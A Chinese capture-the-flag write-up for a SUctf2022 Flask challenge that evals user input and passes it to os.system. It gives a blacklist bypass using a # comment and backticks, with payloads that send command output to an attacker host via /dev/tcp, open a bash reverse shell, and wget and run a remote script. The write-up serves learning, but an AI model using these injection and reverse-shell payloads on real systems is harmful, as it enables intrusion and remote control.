------------恢復內容開始------------
查看代碼
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
num=1#`ls`
@app.route("/")
def index():
"歡迎來到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = https://www.cnblogs.com/kabuto-taka/p/eval(num)
os.system(log)
except:
pass
return str(data)
else:
return"waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
首先放出原始碼
然后觀察可以知道,對num的過濾極其嚴格,所以突破口并不在num上,自然而然想到突破口應該是log
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
程式會將num插入到log字串的最后然后先后執行 eval(num)和os.system(log),
我們要想辦法在第二個函式上執行但是要避免在eval函式中報錯以導致程式不會進行下一步,基于python特性想到了用#注釋,
然后就可以使用`代碼`來優先執行,其實$()有相同作用但是被過濾了,
接下來有多種方法我挨個嘗試,
1 輸出重定向到攻擊機
payload:calc?num=1%23`ls%09>/dev/tcp/IP/2333`
直接將輸出重定向到攻擊機 因為空格被過濾所以用制表符

然后直接打開這個檔案即可

2 命令列反彈
因為&被過濾不能直接用
bash -i >& /dev/tcp/IP/2333 0>&1
所以現在本地用python寫一個檔案,然后開啟服務器
讓目標機讀取本機上的檔案并執行即可,(哦別忘了在云服務器上安全組開啟埠)


ok 這就結束了
payload:
calc?num=1%23`wget%09http://Ip/log.sh`
calc?num=1%23`bash%09log.sh`
第二種方法結束,
還有其他避開eval報錯得到方法還可以去學習
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/453769.html
標籤:Python
